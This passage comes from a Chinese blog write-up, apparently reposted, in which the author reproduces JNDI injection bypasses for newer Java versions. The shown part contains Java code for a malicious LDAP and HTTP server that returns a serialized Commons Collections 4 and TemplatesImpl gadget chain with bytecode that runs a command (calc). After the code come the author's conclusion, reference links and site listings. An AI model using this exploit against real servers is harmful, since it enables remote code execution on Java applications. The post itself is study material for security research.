                e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABmsr+ur4AAAA0ABkBABBQcmlvcml0eVF1ZXVlQ0NDBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAIAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwACgALCgAJAAwBAARjYWxjCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmlsZQEAFVByaW9yaXR5UXVldWVDQ0MuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAYcHQABHRlc3RwdwEAeHEAfgAVeA=="));
            } catch (ParseException e1) {
                e1.printStackTrace();
            }
            /** Payload2 end **/

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
    public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
        System.out.println("Starting HTTP server");
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
        httpServer.createContext("/", new HttpFileHandler());
        httpServer.setExecutor(null);
        httpServer.start();
    }

    public static void main(String[] args) throws Exception {
        String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
        args = args1;
        System.out.println("HttpServerAddress: "+args[0]);
        System.out.println("HttpServerPort: "+args[1]);
        System.out.println("LDAPServerPort: "+args[2]);
        String http_server_ip = args[0];
        int ldap_port = Integer.valueOf(args[2]);
        int http_server_port = Integer.valueOf(args[1]);

        lanuchCodebaseURLServer(http_server_ip, http_server_port);
        lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
    }
}
  • 發起ladp請求,結果如下

4 總結

第一時間看到淺藍師傅的文章后,很想馬上學習一下,無奈論文催得緊,過年前復現出了一部分,昨天終于寫完了論文,繼續來復現,所以前后文的不夠通暢,淺藍師傅還提到了一些其它的用法,但看起來不是特別實用,所以沒有復現了,

經過對JNDI 高版本bypass方法的學習,真的佩服大師傅們對java研究的功力,另外復現程序中也明顯感覺出來,jndi bypass的利用必須要依賴一些方便的工具,否則手工做起來真心麻煩,依賴都是一大堆,

參考

https://paper.seebug.org/942/

https://tttang.com/archive/1405/

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/


作者:bitterz 地址:https://www.cnblogs.com/bitterz/ 本文著作權歸作者和博客園所有,歡迎轉載,轉載請標明出處, 如果您覺得本篇博文對您有所識訓,請點擊右下角的 [推薦],謝謝!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/434404.html

標籤:其他

上一篇:如何使用Firestore和Firebase函式更新“物件陣列”?

下一篇:記一次釣魚靶機測驗

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more